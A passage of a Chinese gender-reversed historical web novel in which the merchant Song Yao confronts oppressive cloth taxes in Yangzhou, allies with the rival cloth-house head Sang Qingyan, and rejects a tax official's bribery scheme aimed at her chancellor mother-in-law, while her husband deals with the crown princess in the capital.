这么多年过去,孙琴第一次见到宋瑶,心道这女郎生了一副好皮囊,裹着大氅,手里还穿着汤婆子,唇红齿白,倒是比男儿家长得还要好看一些,只是她气质出众,一身华贵,却没叫人觉得她男儿腔。 生了这样一副好模样,怪不得听说娶了丞相家的小公子,她刚从马车上出来,就吸引了路过的男子的目光。 孙琴上前拱手,“少家主,您好,我叫孙琴,是扬州这边的管家,您远道而来多有辛苦,快快随我回家休息吧。” 宋瑶微微颔首,面上挂起一抹笑容,扶起孙琴的手,笑道:“孙姨不必多礼,真是折煞晚辈了,接下来还请孙姨多多指点。” 她礼数周到,笑容和煦,给孙琴留下了很好的印象。 宋府在扬州的住宅甚至比在京城的住宅还要豪华,黄金地段,住宅阔气,建筑独具扬州特色,孙琴已经将上上下下一切打点好。 回到府中已经傍晚,宋瑶吃上了淮扬特色菜,想必是孙琴特地准备的。 吃过晚饭,孙琴带了两个小侍过来,看那小侍的装扮,是特地收拾过的,颇有几分姿色,走起路来姿态婀娜,腰肢很软。 孙琴道:“少家主,这是清风和明月,您在扬州这段时间,就由他们两个一同服侍您。” 被称作清风和明月的两个少年上前,行了个礼,瞥到宋瑶的模样,偷偷红了脸。 宋瑶自然知道她这番是什么意思,只扫了一眼那两个少年,婉拒了孙琴的好意,“孙姨有心了,只是家中夫郎管得严,你也知道,还是换成女侍吧。” 孙琴理解,毕竟娶的是丞相家的公子,于是唤来两个女侍,照顾宋瑶的起居。 “少家主,您看这会儿是否有空,我将扬州这边的情况跟您汇报一下。”事态有些着急,孙琴想着早早与宋瑶汇报,一起上量对策。 宋瑶此前早已了解了这边的情况,心中有了对策,只道:“孙姨不必担忧,我心中有数,不急于这一时,今日我已疲乏,明日再说吧。” 孙琴还行说什么,见宋瑶打了个哈欠,便将话咽了回去,到底是年轻气盛,缺乏经验。 宋瑶在女侍的带领下,回到房间洗了澡,早早地睡下了。 一切被孙琴安排妥当,房间很舒适,一觉睡到了天亮。 第二日,宋瑶不紧不慢地吃了早餐。 孙琴一大早又接到不好的消息,这会儿内心已经十分着急,一肚子话想和宋瑶说,却见宋瑶不紧不慢,觉得心中很没谱,家主将扬州这么大的生意交给宋瑶。 宋瑶放下筷子,看了孙琴一眼,觉得她的话到嘴边不吐不快,怕是等不到她吃完饭再去书房,于是哭笑不得道:“孙姨,趁着这会儿,你与我说说现在扬州的情况吧。” 这幅初生牛犊不怕虎的模样,根本不清楚现在是什么情况,孙琴觉得没希望了,叹了一口气,“少家主,想必您也清楚,前段时间因为江南水患的事情,朝廷征收各种税收,后又取消税收政策,但实际上在扬州这边,针对布行仍设有机户税、城门税,还强制我们购买官营染料,时值雨季,导致部分蚕丝霉变,税吏仍催逼无度,我们布行实在苦不堪言。” 宋瑶吃着小笼包,闻言一顿,问道:“什么叫机户税、城门税。” 孙琴眉宇间愁云密布,“机户税即是要求纺织厂每张织机月纳白银三钱,城门税即是出入城门货物如果价值百两则抽取三成税,目前已经有多家布坊倒闭。” 饶是宋瑶见多识广,也被这种不要脸的税收方式震惊到了,每张织机月纳白银三钱,她们纺织局有织机千余张,每月光是机户税都有三百两,更别说还有什么城门税。 真是把他们当韭菜割。 孙琴又道:“此事牵扯过多,民不与官斗,更别说我们商户,但是再这么下去,我们也 撑不了多久。” 宋瑶将剩下的小笼包吃完,思索片刻,“可有找过税监司?” 这来势汹汹,分明是针对他们布行。 孙琴道:“如今税务司司长姚琳新官上任,去拜访过几回,全都被拒之门外。” 宋瑶放下筷子,“如今扬州的布行全都按照要求缴纳机户税和城门税?” 孙琴苦笑道:“哪敢不交,就连扬州本地最大的布行永昌号都不得不从。” 宋瑶:“我知道了。” 孙琴说完,抬眼看去,只见宋瑶听完她所说的,面色不改,也不发表任何意见,也不知是听懂了还是没有听懂,这事儿就算是家主来了,也很难解决,地方税务司油盐不进。 宋瑶在心中盘算了一番,这事儿着实难办,却也不是没有办法。 盐、茶、布是地方经济命脉,苛政暴行,如果动了根基,是得不偿失的事情,官府肯定也清楚形势,这样的政策推行不了多久,只是挑中了布商,想从布商身上刮下来些东西,填充国库。 类似于拆了东墙补西墙,这次是布商,下次就会轮到盐商和茶商,永无止境。 宋瑶问孙琴:“你认识永昌布行当家的吗?” “认识。”孙琴知道宋瑶想联合永昌布行进行反击,“我此前已经去找过他们当家的,他们也束手无策。” 说着,孙琴叹了一口气,心中已经隐隐有了想法,她隐晦地提道:“税务司不肯见我们,大概是觉得我们身份低微,不愿相见,若您前去,恐怕还有一线希望。” 孙琴的意思已然是让宋瑶以陆丞相儿媳的身份去求见。 宋瑶摇头,直接拒绝,“不可,这事不能将丞相牵扯进来。”她自身都难保。 孙琴又叹气,“那此事恐怕很难办。”可以说根本没有希望,只能任人宰割。 宋瑶起身,“孙姨,你可否带我去见永昌号当家的。” “可以倒是可以。”孙琴疑惑,见她一副波澜不惊,不紧不慢地模样,问道:“不知少家主有何打算?” 宋瑶:“边走边说。” 根据宋瑶仅有的历史知识,自汉朝时起,朝廷设盐官,把控盐业,提高盐的价格,以此填补国库。 当朝盐业和茶业还未被官府掌控,价格与汉朝不相上下,却管理混乱,官商勾结,大部分利润都进了贪官污吏的口袋。 仅凭宋瑶一张嘴,即使她有想法,也无人在意。 若是官府从他们身上搜刮不到任何东西,自然会愿意听听别人的意见,所以首先要做的就是,联合本地最大布行带头反抗,若是永昌号带头,一定会有号召力。 她们要做的就是,商量一下反抗的方式,如何全身而退。 据孙琴所说,永昌号当家的是个男子,名唤桑卿彦,据说从家族一众女子中杀出重围,凭能力获得了继承权,算得上是男中豪杰。 孙琴提起他时,语气隐隐带着钦佩,倒是叫宋瑶有了一丝好奇。 孙琴命下人打听到今日桑卿彦会在商铺,于是带着宋瑶来到永昌布商拜访,表明有要事相商。 她们与永昌布行虽然是竞争对手,但也是友商,关系还行。 下人将宋瑶二人请到茶室等候,上了茶水和点心,看这架势,本来以为会等很久,没想到一盏茶还没喝完,便听到外面传来说话声。 脚步声逼近,透过窗户,来人着一袭鲜艳的红衣,未施粉黛,容貌昳丽,步伐轻盈,看到宋瑶时,顿了几秒,随即挑了挑眉,那双眼睛仿佛会说话,他嘴角勾起一抹笑,大大方方道:“原是贵客前来,在下桑卿彦,有失远迎。” 大冬天的,他穿的比宋瑶少多了,但是看着他不觉得冷,仿佛夏天来了。 第46章 桑卿彦那双眼睛生得极好,本有七分颜色,却因那双会说话的眼睛,给他平添了三分媚色。 宋瑶虽不以外貌评判人,但是遇到美人,也会多看几分。 宋瑶站起来,脸上挂了笑容,客气道:“桑老板,久仰大名,在下宋瑶,是宋氏布庄的负责人。” 桑卿彦笑容不减,比了比手势,“宋小姐坐下来说吧。” 小侍前来给两人斟满了茶,暗暗瞥了宋瑶好几眼,心道这京城来的女君模样生的真好看。 宋瑶不清楚现在对方是什么个态度,率先说了几句寒暄的话,试探一下他的态度,“桑老板,最近生意上怎么样?我方才一路走来,瞧着您铺子里一如既往地旺盛。” “生意倒是与以往并无差别,只是如今的情形,想必你也十分清楚,咱们大概是大差不差的。”桑卿彦将她的话不痛不痒地接了过去,他如是说自然指的是税务司的事情,只是面上不见丝毫愁绪,也是个沉得住气。 桑卿彦呷了口茶,看向宋瑶:“宋老板,我这人也一向不喜弯弯绕绕,咱们打开天窗说亮话,我知道你前来所为何事,你且说说有何主意,咱们可以一起商讨一番,最好是想出个对策来。” 看来是个爽快人,跟这样的人合作倒是会少了很多麻烦,宋瑶笑道:“宋老板是个爽快人,那我就直说了。” 桑卿彦放下杯子,做认真状,“桑某洗耳恭听。” 当前布行的生意是扬州城生意的主要来源,光永昌号就雇佣了千余名纺织工,提供了大量的就业岗位。而如今税务司征收的机户税、城门税,甚至强制与要求布庄购买官营染料,最大的受害者自然是布行本身。 一般商户面临这种情况,在无法与官府抗争的情形下,首先采取的措施即是降本增效,即裁员、克扣员工绩效,或者让员工自己上缴机户税,稍微有点良心的商家,如宋氏布庄和永昌号,目前承担了所有额外的税收,并且没有裁员或者扣减任何工人的工钱。 只是不知道永昌号在这种情况下,能坚持多久。宋瑶从孙琴口中得知,她们在这边的工厂已经快要坚持不下去,准备开始裁员。 宋瑶问道:“如今苛政昌兴,不知桑老板有何打算?” 桑卿彦放在桌子上的手指有一搭没一搭地扣着,直言道:“实不相瞒,打算采取与其它布行相同的做法,辞退工人,降低工钱,或者让工人自己上缴机户税,后二者必然会引起一系列的麻烦,不如直接采取第一种办法,赔钱让他们走人。” “的确如此,如此以来将矛盾转移,只是却治标不治本。”宋瑶道。 桑卿彦闻言挑了挑眉,觉得这女子年纪轻轻,口气却不小,“不知宋老板有何标本兼治的好办法?” 宋瑶徐徐道:“我知永昌布行坚持到现在还没有采取任何措施,也是不愿意让工人们陷入困境,如今确实也确实是形势所迫,不得已而为之。然而辞退工人也要遭受怨怼,不如给她们两个选择,一是直接拿着赔偿款走人,二是仍是可以留在布行,只是需要自己支付机户税,布行承担其它的税收。” 桑卿彦轻扣桌面的手指一顿,思索片刻,“工人大都是本地人,在这种情况下,必定会选择继续留夏,如此只是将矛盾转移,工人倒是会觉得是官府的问题,只是并未解决问题,工人的工钱还是一笔开销。” “你有没有想过,这么下去会发生什么。”宋瑶冷静地分析,“工人一个月的工钱普遍在一百钱,却要上缴五钱的机户税,再加上其它布行有众多下岗的工人,她们必然会发起反抗。” 孙琴在一旁听到宋瑶的说法,附和道:“少家主说的没错,近些日子来坊间工人已经怨声载道,已经有人跑 去官府闹事,但是被压下了。” 桑卿彦看向宋瑶,“你想利用工人逼迫官府收回政策?此时恐怕有难度。” 宋瑶笑了笑,颇有几分运筹帷幄,缓缓道:“不是利用工人逼迫官府废除政策,而是逼迫官府与我们见面,届时在那种情形下,官府自然会找上我们,只要让我见到税务司司长,后面一切就好办了。” “哦?”桑卿彦来了兴趣,“不知宋老板有何妙计?” 宋瑶眨了眨眼,“天机不可泄露,还望桑老板配合,剩下的交给我就行。” 桑卿彦未答,只道:“我如何才能信你?你我皆是商人,也清楚那些个官员的嘴脸。” 宋瑶笑了笑,“到时候我会给税务司司长大人一个无法拒绝的条件。” 短短的接触,令桑卿彦清楚,宋瑶绝非等闲之辈,年纪虽小,却心思缜密,设局环环相扣,竟是想把税务司给设计进去。在此之前,桑卿彦了解过,宋瑶现在已经是当朝丞相大人的儿媳,现在从未使用过这个身份,从她大费周章想要见到税务司的人就可以看出来,也正因如此,桑卿彦觉得她是个女子,胸有成竹。 桑卿彦点头答应,“宋老板妙计,我自会配合,希望宋老板后面一切顺利。” 宋瑶起身,双手交叠,作揖,“多谢桑老板。” “宋老板客气,卿彦静候宋老板佳音。”桑卿彦注意到她左手手腕处佩戴的手串,自然也注意到其中一颗珠子是红豆,目光一扫而过,便收回视线。 玲珑骰子安红豆,入骨相思知不知。 这种物件,也只能是男子送的,倒是与她夫郎相爱。 送走宋瑶,桑卿彦将剩下的茶水慢慢喝完,垂眸思索,不知在想什么。 小侍道:“不知家主为何会相信宋瑶,她看起来年纪尚小。” 桑卿彦淡淡道:“她所说与我们而言并没有什么坏处,本身我们就打算如此,她既要涉足泥潭,我们助她一臂之力,若她能凭借智慧上岸,自然是再好不过,如果不成,我们也没什么损失。” 小侍疑惑道:“这么说,家主觉得她并无胜算。” 桑卿彦勾起嘴角,“不,或许可以。” 方才的谈话中,他所思所想皆站在商人利益的角度,而宋瑶与他们不同的是,具备一定的政Z敏感度,再加上她另一层身份,说不定真的可以。 还有一点就是,她与桑卿彦见过的大多数生意上的女人不同,一开始她就没有对他流露出任何偏见,从始至终,目光坦荡,就事论事,是真正将他当做可以合作的伙伴。 她的夫郎应该很幸福。 小侍有些惊讶,这是家主第一次见完生意上的女人,没有露出嫌恶的神色,那位宋小姐确实是容貌过人。 小侍似懂非懂,揭过了这一茬,对桑卿彦道:“家主,吴小姐还在茶楼等您,吴小姐是主君特地挑选的,还是个秀才,请您一定要去。” 桑卿彦想起此前收到的酸诗,不由得冷笑,“找了个秀才,是想让我未来伺候她吗?” 小侍道不敢接话,天下哪有不伺候妻主的夫郎啊,哪怕是再厉害的男子,也都要回归家庭。 “家主……”小侍嗫嚅道。 闻言,桑卿彦眼中闪过一抹厌烦,摆了摆手打断,沉声道:“行了,我知道了。” 这些女人,一个个皆是昏庸之辈,明明是想来吃软饭的,却是想着软饭硬吃,是他最瞧不起的,偏偏父亲硬是逼着他嫁人。 小侍硬着头皮道:“家主,主君特地吩咐过,一定要您去见见吴小姐,否则、否则——” 桑卿彦倏地起身,重重放下茶杯,冷笑一声,“见是吧,走!”说完,大步流星往前走。 小侍快步跟上,内心叫苦不迭,这哪里是想看啊,这分明是去见仇人。用脚指头想想,也知道今天的结局是什么。 今日所见宋小姐倒是与家主家世匹配,模样也生的好,气质过人,也不曾看不起家主,虽然年纪看起来小了点,看着是个疼人的,只是不知道婚配与否。 宋瑶拜别桑卿彦,离开永昌布行后,便打算去自家商铺查探情况,临近年底,既然来了,自然要查一下账。 商铺的生意竟比京城的还要火热,临近年关,百姓纷纷购买布匹,裁制新衣。 宋瑶刚到商铺,屁股还没坐热,孙琴就敲门而入。 孙琴道:“少家主,税务司司长云青大人派人前来,邀您茶楼一叙。” 宋瑶手一顿,她千方百计想见的人,送上门来了,这么好的事,“所为何事?” 孙琴道:“并未言明,只说想结识家主。” 她一介身份低微的商人,税务司司长竟然想结识她? 如今朝中并不太平,陆丞相处于水深火热中,在这个节骨眼,税务司的人找到她这个陆家儿媳,多半是来者不善。 真是多事之冬啊,希望今早处理完,早点回家过年。 宋瑶盘算道:“税务司那边的情况打听得如何了。” 孙琴:“已经摸清了,我路上与您细说。” 宋瑶放下账本,“走吧。” 第47章 宋瑶一早托孙琴派人去大厅云青的来历,在朝中所属的势力,知己知彼,心底才有底气,毕竟她先多了一层敏感身份,做事要更加小心。 据孙琴所说,当地税务司司长云青是被皇帝亲自任命,下派扬州征税。除此之外,据说云青和皇太女来往密切。 现如今,皇帝年事已高,太女司马怀瑾和七皇女司马怀柔在朝中各种明争暗斗,党派之争日益显现。 陆丞相作为朝中最有话语权的大臣,忠于皇帝,保持中立态度,势必会受到太女和七皇女的拉拢,如果她不站队,他日无论谁继位,总会对她怀恨在心。 陆丞相为官清廉,毫无软肋,如今有了宋瑶这个儿媳,让有心人觉得有机可乘。 云青多半是打着主意,让宋瑶接受她的恩惠,再卖给人情给陆丞相,拖陆丞相下水。 宋瑶在心里盘算着。 当皇帝的,最避讳官商勾结,这事儿她有一百个脑袋也不敢做。 马车很快停在茶楼门前,步入茶楼,一片嘈杂,小二前来迎接。 孙琴道:“竹溪。” 小二:“好嘞,客官您二楼雅间请。” 雅间外已有仆人等候,见到宋瑶和孙琴前来,上前询问,得知她们就是大人要见的人,进去通报,随后将二人引入雅间。 宋瑶进入雅间,只看到一人,想必就是云青,与她别致的名字相反,她约莫四十岁左右的年纪,微微发福,头发稀疏,眼角有了明显皱纹,眼睛细小,在看到宋瑶时微微眯起,在那张堆满肉的脸上更加要看不到了。 宋瑶走进,迅速暗暗打量了她一眼,随即收回视线,敛眸,拱手作揖,“草民见过云大人。” 云青没有回复,沉默。 宋瑶保持作揖的姿势,心道下马威这就来了。 过了一会儿,等到宋瑶听到她倒茶的声音,云清才慢慢悠悠道:“不必多礼,请坐吧。” 宋瑶直起身,若是懂事的商人,面对这种高官,多半会说“不了大人,草民站着就好”,但是宋瑶可不会被她轻易拿捏,道了声“多谢大人”,就从容地在云青面前坐下,还十分不客气地拎起茶壶,给自己倒了一杯茶。 云青一噎,拉下了脸,重重地将茶杯一放,在桌面上磕出声音。 宋瑶扫了一眼她茶杯里晃出来的水,不紧不慢道:“不知云大人传唤草民所为何事?” 云青的脸色已有些不愉,在她看来,宋瑶的举动已经冒犯了她,她的语气微沉,仿佛与宋瑶说话是自降身份,十分不情愿,“宋瑶,现在有一个机会摆在你面前。” 她都懒得拐弯抹角,似乎笃定宋瑶会答应。 宋瑶顺着她的话问道:“什么机会?” 云青清了清嗓子,“我知道如今机户税、城门税对你们布行来说是一个很重的负担。”她边说,边观察宋瑶的神色。 宋瑶心道原来你也知道啊。 云青接着道:“接下来,可能还会考虑提高税收,若是你答应我一件小事,我可以考虑取消对宋氏布庄的税收,减轻你们的负担。” 她口中的小事,定然会牵扯到陆丞相。宋瑶不动声 色地笑道:“不知草民何德何能,可以为云大人办事。” 许是这句话取悦到了她,云青嘴角扬起一抹笑,朝仆人挥了挥手,仆人立刻递过来一个黑色的匣子,放在二人桌面中间。 “小事一桩,不难。”云清道,“只需要你将此物转交给陆丞相。” 宋瑶垂下眼,扫了一眼那黑色的匣子,问道:“这是什么?” 云青扬了扬下巴,“你自己打开看看。” 宋瑶放下杯子,打开一看,里面竟然是一卷微微泛黄的字画。 云青道:“只是一副不知情的字画罢了。” 宋瑶没说话,据她了解陆丞相爱好有二,其一垂钓,其二便是古玩字画,其中最喜爱晋朝书法家王明之的字画,得之便无比珍藏,只可惜目前鲜少有王明之的真迹流传。 宋瑶没猜错的话,这幅字画,应当是王明之真迹,这要是收了,转交给陆丞相,给陆丞相挖了个坑。 宋瑶合上匣子,推到云青对面,直言:“恕草民办不到。” 云青显然没想到宋瑶能这么落她的名字,瞬间沉了脸,“宋瑶,只单单这一件小事,即保你们布庄平安,你可要好好想想清楚。” 面对她的怒火,宋瑶依旧云淡风轻地笑道:“既是一副普通的字画,云大人不如直接交予陆丞相,何必要经草民之手,想必是丞相大人不肯收吧。”这态度摆明了是不打算帮忙。 宋瑶云淡风轻的模样,显得云青无能狂怒。 这般被戳破心思,云青恼羞成怒,拍案而起,“宋瑶,你别敬酒不吃吃罚酒!” 她拍桌子的声音吓了孙琴一跳,甚至想要跪下请罪,求求少家主别乱说话了,若是热闹了云大人,扬州这边的生意可算是别做了。 没想到宋瑶也敛了笑意,甚至都没有站起身,冷言道:“草民还是那句话,办不到。” “不知好歹!”云青冷笑一声,拂袖离去,摔门而出。 孙琴吓得腿都软了,在云青离开后,立刻扶着椅子,胆战心惊,这下全都完蛋了。 而那惹事的人不紧不慢地将剩下的茶喝完。 孙琴一把年纪了,头一次这么害怕过,她从未敢与官员这么说话过,更别说云青这样的大官了,她虚虚地抹了一把汗,苦笑道:“少家主,您就算要拒绝也要委婉一点啊,这下可算是把云大人得罪了个彻底,我们接下来怎么做啊!” 孙琴觉得自己的职业生涯到此截止了,少家主还是年轻气盛,不知变通。 宋瑶倒是丝毫不紧张,笑道:“她后面会来找我们的。” 孙琴苦笑,那肯定是会来找她们的,来找事啊。 站在云青的角度,如果要利用宋氏布庄,有两种办法,第一种方法最为直接,针对宋氏布庄,提高税收,逼迫宋瑶乖乖就范,第二种方法则反其道而行之,直接免除宋氏布庄的税收,强行坐实因为陆丞相的关系,才帮助宋瑶。 宋瑶故意激了激她,按照云青的性格,多半会直接选择第一种,那就更好办了。 “回吧,我们也要早做打算。”宋瑶又饮了一杯茶,道:“这茶倒是不错。” 孙琴:少家主,您还有心思品茶啊。 宋瑶出门,忽然想起了什么,问孙琴:“云大人付茶钱了吗?” 孙琴:“……” 最终小二表明,云大人是付了茶钱的。 宋瑶道:“那就好。” 孙琴:“……” 您还在乎这点小钱吗? 出了雅间,宋瑶经过二楼的走廊,从围栏往下看,不小心瞥到了一个红衣身影,可不就是早上见过的桑老板。 桑卿彦坐在一楼靠窗的位置,懒懒地托着头,看着窗外,在一片嘈杂中,浑身透露着不耐烦。他对面是一名女子,身着青色长衫,双手放在膝盖上,握在一起,是不是瞥几眼桑卿彦,又慌乱地收回视线,很紧张地模样,不知道在磕磕巴巴说什么。 这场面有些熟悉。 原来古代也有这种相亲啊,她还以为在这里的男子都是大门不出二门不迈,婚姻一切都听父母做主呢。 宋瑶好奇多看了一会儿。 桑卿彦显然没有耐心听下去了,烦躁地喝了一口茶,放下茶杯,敏锐地察觉到有道视线落在他身上,抬眼,就看到二楼的宋瑶。 偷看相亲,当场被抓包,宋瑶有些尴尬地扯了扯嘴角,但还是若无其事地微微颔首,转身离开。 对面秀才还在说男德那一套,什么男子应该相妇教女,不嫌弃他年纪大,不嫌弃他抛头露面,希望他婚后做出改变。 桑卿彦眯了眯眼,放下茶杯,对那酸秀才道:“我还有事,失陪。” 秀才不明所以,明明她们方才不是相谈甚欢呢,怎么说走就走呢,于是站起来慌张道:“那桑公子,你什么时候还有时间,我们、我们下次再、再约。”这话已经十分大胆了。 她的话还没说完,桑卿彦已经越过她,大步离开了。 宋瑶从二楼下来,走出茶楼,就听到一道不悦地声音—— “你方才在笑什么?” 宋瑶转身,就看到刚刚还在相亲的人出现在了门口,眼中还有未消的烦躁。 桑卿彦:“你方才是在嘲笑我?” 宋瑶:“不是。” 桑卿彦追问:“那是为什么?” 本以为他是十分沉稳的性子,怎么会儿跟小孩子一样不依不饶。宋瑶如实道:“是我不该看到你们,多看了两眼,所以抱歉地笑笑,希望不要打扰到你们。” 她眼中坦荡,没有丝毫轻蔑的影子。 不知为什么,桑卿彦脱口而出,“你难道也觉得男子在外面抛头露面很丢脸?”无论是女子,还是男子都这么觉得,女子看轻他,男子也看轻他。 宋瑶看了他一眼,顿了一下,道:“不会。” 别的,她没再说什么,再说就越界了。 桑卿彦能分辨出来,宋瑶说的是真话,因为他见过太多形形色色敷衍他的女人了,从来没有她这么坦荡的眼神。 只是为什么不多说几句,这么避嫌的吗?多半是个夫管严,他又不会因为她几句话就赖着她。 桑卿彦道:“你方才是去见税务司的人了?” 宋瑶刚想走的脚步一顿,他这么问,肯定是看到了,她点点头,“对,见了司长。” 桑卿彦眯眼,“那你我之间合作的事情?” 宋瑶笑道:“桑老板不必担心,照常进行。” “你最好小心一些,我听说太女近期可能路过扬州。”桑卿彦觉得她在走一招险棋,他言尽于此,说完便转身离开。 宋瑶目送他的红色的背影走远,摇摇头,笑了笑。 第48章 宋瑶离开京城后,陆润之便借着回娘家的名义,带着青连住进了客栈,后又便扮了女装,以太女幕僚的身份进入太女府。 司马怀瑾给他捏造了个身份,名唤润玉,并且给了他专属腰牌,通知底下的人见此腰牌如见到太女本人,必尊之敬之,是以太女府中的人都知道太女殿下新请了一位模样极好的女君,奉为上宾,不敢有丝毫怠慢。 陆润之一路畅通无阻地进入太女府,由下人带领前去太女的书房,“润玉大人,太女殿下就在里面。” 陆润之:“有劳。” 书房内,司马怀瑾正在批阅奏折,皇帝近些日子身体出了些状况,太医叮嘱静养,于是便将部分折子交给太女批阅,批阅后再由皇帝过目。 看到陆润之,司马怀瑾眼中浮现笑意,立刻起身,“子澈,你来了。” 只有亲人、妻主才能 这么唤男子的小字,上次已经与她说够名讳的事情,现在她还这么唤他。 陆润之的脸色微冷,“太女殿下,直接唤臣名讳即可。” 两人从小一起长大,他这幅模样,语气冰冷,已经是有些生气,下了最后的警告。 司马怀瑾苦笑,以前两人默认是未婚妻夫,如今却是连他的小字都唤不得。 如此被落面子,司马怀瑾也不生气,好声好气请他坐下,让下人上了茶,从善如流地改了称呼,“润之,今日前来所为何事?” 陆润之道:“太女殿下,我已以身入局,还希望您放过我的母亲。” 司马怀瑾一顿,疑惑道:“润之,此话何意?我答应过你,从未刻意与丞相大人来往。” 陆润之未语,抬眼看向司马怀瑾,眼神沉静如水,却像大海般深不可测,仿佛能够看穿人心。 他的眼神与陆丞相如出一辙,洞悉人心,不怒自威。 司马怀瑾勉强在他这般眼神下保持镇定,此刻绝对不能露出丝毫慌张,叫他瞧出个端倪来。 陆润之已然看穿一切,若司马怀瑾没有企图拉拢母亲,母亲定然不会如此烦恼,七皇女那边同样虎视眈眈。 如今皇帝只认丞相为心腹,虽太女已立,但皇帝的态度始终隐晦不明,在这种情况下,陆丞相定是最有话语权的那个人。 司马怀瑾如今已经逐渐脱离掌控,陆润之觉得有必要让她清醒一下。 半响,陆润之放下茶杯,淡淡道:“太女殿下遵守承诺便好。” 司马怀瑾暗暗松了一口气,面上重新挂了笑容,“江南水患一事,多亏润之你的计策,母皇很是满意,只是还有一事,我实在拿不定注意,你来看一看。” 说着,她去桌上拿了本奏折,递给陆润之,“依旧是赋税一事,如今虽已取消各种税收,但又花费大笔钱财治理江南水患,国库早已亏空,有人上书又打起了赋税的想法,建议提高商人赋税。” 朝堂局势动荡,朝令夕改,长久下去,必会引起大患。而国库亏空,若边境小国来犯,恐无力抵御。 如今各路盐商、茶商、布商确实暴利行业,且商人地位低下,最好拿他们宰割,朝廷的人多半是打的这样的主意,无可厚非。 陆润之问道:“提高几成?” 司马怀瑾暗暗松了一口气,这事本来就已敲定下,她只是拿此事来试探一番他的态度,见他如此问,没有反驳,想来是并没有因为嫁到宋府而受到影响,于是道:“现下对商户各种税相加近三成,建议提升至四成。” 陆润之听到这个数字微微皱眉,四成税,未免太过苛刻。 若提高至四成的税,部分商人必然会奋起反抗,若朝廷镇压尚且可以处理,最严重的后果就是各大商行不堪重税,辞退大批员工,届时工商联合,很难收场。 凭司马怀瑾的才能,肯定无法处理这样的事情。 陆润之点头,“可。” 司马怀瑾彻底放心,道:“母皇已经派云青前往扬州,先对扬州的布商实行此策,看看反响如何。” 陆润之立刻明白,提高商户赋税之事,已经拍板叫定,皇帝已经挑选扬州进行实践,司马怀瑾此时拿这事来与他说,意在试探他的态度。 宋瑶前去扬州,为的应该就是此事。 除此之外,他最害怕的便是云青假意拉拢宋瑶,云青是皇太女的人,若宋瑶承了云青的情,母亲那边无论如何都脱不了干系。 陆润之心思千回百转,面上平静道:“现在扬州情况如何?” 司马怀瑾一笑,“商户很配合,我打算去扬州一趟,你可愿意随我一同前去。” 这事如果办成,便是功劳一件。 陆润之淡淡道:“我不便与殿下一同前去。” 离开太女府后,陆润之的脸色便冷了下来。 司马怀瑾如今觉得自己胜券在握,已经开始私下小动作,甚至开始试探他,违背诺言。 若此人日后登上皇位,他、母亲、还有宋瑶多半不会好过。 目前司马怀瑾不敢对他做什么,是因为他手中还有她的把柄,日后可就说不准了。 当务之急,便是前往扬州。 希望宋瑶不要因为他们,卷入这样的斗争之中,扬州征收商户赋税一事必定以失败告终。 若是司马怀瑾是个不听话的蠢货,再换个人也无可厚非。 陆润之对青连道:“收拾一下,我们前往扬州。” 青连直接愣住了,“啊?”公子现在这么黏宋瑶了吗?才分开多久啊,这就要赶到扬州了。 “公子,扬州路途遥远,且冬日结冰,水路不通,恐怕一路多有折腾,怕您身体遭不住。”青连劝道。 陆润之道:“无事。” 青连知道他这么说,定是决定了,谁也无法改变,只是询问道:“可要给宋瑶休书一封。” 陆润之想了想,“不必。” 若告诉她,她肯定不叫他去,若不去,他心里总是放心不下。 想起宋瑶,陆润之眼中滑过一抹暖色。 第49章 自那日与桑卿彦商定以后,回去第二天,就听到传闻,永昌布行由于赋税重的缘故,已经让纺织工人自行缴纳机户税,如果选择不缴纳,就要被辞退。 近些日子,由于机户税、城门税和其它额外税收的事情,已经有大批纺织厂的工人下岗,只是由于永昌布行和宋氏布行规模较大,所以还能坚持一段时间,但是大家也都清楚,这样一天终究会到来。 随后,宋氏布行紧随其后,同样发布通知,选择与永昌布行同样的方式。 现在扬州的布行都是同样的情况,比起其它布行纷纷裁员,永昌和宋氏这两大布行已经是非常仁慈的做法。 如宋瑶所料,工人并没有将怨气转移到他们两家布行上,而是十分庆幸永昌和宋氏布行还给他们保留了工作岗位。 一部分人决定离开布行,拿着赔偿款另谋出路,大部分人决定留在布行,选择自行缴纳机户税。 虽然工人没有怨恨永昌和宋氏布行,但是在同行悲惨经历的衬托下,就显得还可以接受。 宋瑶觉得现在情况没有达到她的预期。 恰好此时,桑卿彦送来了拜帖,邀她饭馆一叙,说是商量一下情况。 宋瑶有些不明所以,为什么他想跟她商量情况,明明已经约定好各自分工,但考虑到桑卿彦目前是盟友,所以前去赴约。 约定的地方是一家私房菜馆,环境清雅安静,看得出来是一些达官贵族会来的地方。 宋瑶觉得这个地方有些过于私密,不适合她这种有夫之妇去见一个未婚男子,她洁身自好,对这方面有些敏感,比起吃饭,她觉得茶楼更合适一点。 来都来了,人家男子都不介意,她也就不说什么了。 雅间设在一楼,窗外溪水潺潺,在这冬日还冒着热气,像是温泉水,真是难得。 桑卿彦已等候多时,他今日穿了浅紫色长衫,比起红色,少了几分气势,多了一份儒雅,但宋瑶觉得他还是更适合红色,张扬明媚。 桑卿彦看到她,随意招呼了一声,努了努对面的位置,“你来了,坐。” 这熟稔的态度,倒是让人觉得两人是多年的好友。 宋瑶在他对面坐下,“桑老板好雅兴,这地方真不错。” 桑卿彦对仆人挥了挥手,示意可以上菜,转而对宋瑶笑道:“宋老板从京城来,什么好地方没见过,小小饭馆,能得宋老板赏识,它也值了。” 说着,他提起茶壶,给宋瑶斟了杯茶,动作行云流水,姿态闲散。 看样子,真的只是找她吃个饭,随意闲聊而已,她也不是万人迷,也不是人人都对她有想法,可能那日只是情绪上来了,毕竟那种场面被熟人看到,对男子来说还是有些难堪的。 宋瑶逐渐放下戒心,笑道:“桑老板这是抬举我了。” 桑卿彦皱眉,“你别一口一个桑 老板,听得我难受。” 宋瑶呷了口茶,觉得他性格大大咧咧的,倒不必待他如其它男子一般,忽然想起这几日在坊间听到的传闻,桑卿彦最初接手永昌号,手段狠厉,雷厉风行,谁敢惹他,就一定没有好果子吃,业界都暗暗称呼他为“桑爷”。 宋瑶嘴角携了一丝笑意,语气带了点玩笑,“那我叫你什么,桑爷吗?” 桑卿彦挑眉,嗤笑一声,“行啊,你便称呼我为桑爷吧。” “得嘞。”宋瑶从善如流,看到他杯子里茶水空了,礼尚往来地给他舔了茶,“桑爷,小的伺候您喝茶。” “贫。”桑卿彦笑了笑,承了她的好意,问道:“那我唤你什么?” 宋瑶道:“叫我宋瑶就行了。” 桑卿彦举了举杯,“行,宋瑶。” 这么一玩笑,两人之间的距离感都消散不少。 说着,饭菜已经上来了,全都是本地著名菜品,想来是经过细心安排的。 两人边吃边聊,禀退了下人。 